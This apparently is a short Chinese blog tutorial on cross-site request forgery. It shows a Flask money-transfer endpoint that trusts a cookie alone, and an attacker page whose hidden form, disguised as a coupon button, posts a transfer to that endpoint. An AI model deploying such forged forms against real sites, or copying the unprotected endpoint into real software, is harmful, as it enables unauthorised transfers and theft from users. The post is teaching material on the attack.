CSRF跨站伪造请求

什么是CSRF跨站伪造请求:

用户登录安全网站A成功后,然后在没有退出登录的情况下,又登录了不安全网站B,点击一些链接,因为是用的同一浏览器,

不安全网站B可以通过浏览器伪装成该用户身份向网站A发出请求做一些非法操作(隐藏在链接里面)。

网站A:

@app.route('/transfer', methods=["POST", "GET"])
    def transfer():
        # 从cookie中取到用户名
        username = request.cookies.get('username', None)
        # 如果没有取到,代表没有登录
        if not username:
            return redirect(url_for('index'))

        if request.method == "POST":
            to_account = request.form.get("to_account")
            money = request.form.get("money")           
            return '转账 %s 元到 %s 成功' % (money, to_account)

        return render_template('temp_transfer.html')

网站A需要获取to_account和money这两个值就能转账。

网站B

@app.route('/')
def index():
    return render_template('temp_index.html')
<h1 style="background: red">网站B</h1>
<form method="post" action="http://127.0.0.1:9000/transfer">
    <input type="" name="to_account" value="999999">
    <input type="" name="money" value="190000">
    <input type="submit" value="点击领取优惠券">
</form>
网站B里面直接写好了to_account和money这两个值分别是999999,190000,和提供了网站A的网址和转账接口。但这些都是隐藏的,用户只能看到点击领取优惠券,当点击后,会自动跳转到上面的网址和转账接口,并且把999999,190000都填到对应位置。因为是通过你的浏览器访问,对于同一台电脑,同一浏览器的第二次访问,会自带上次访问的cookie,网站A会认为是安全访问,而识别不到是第三方的攻击请求,从而通过访问。


  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值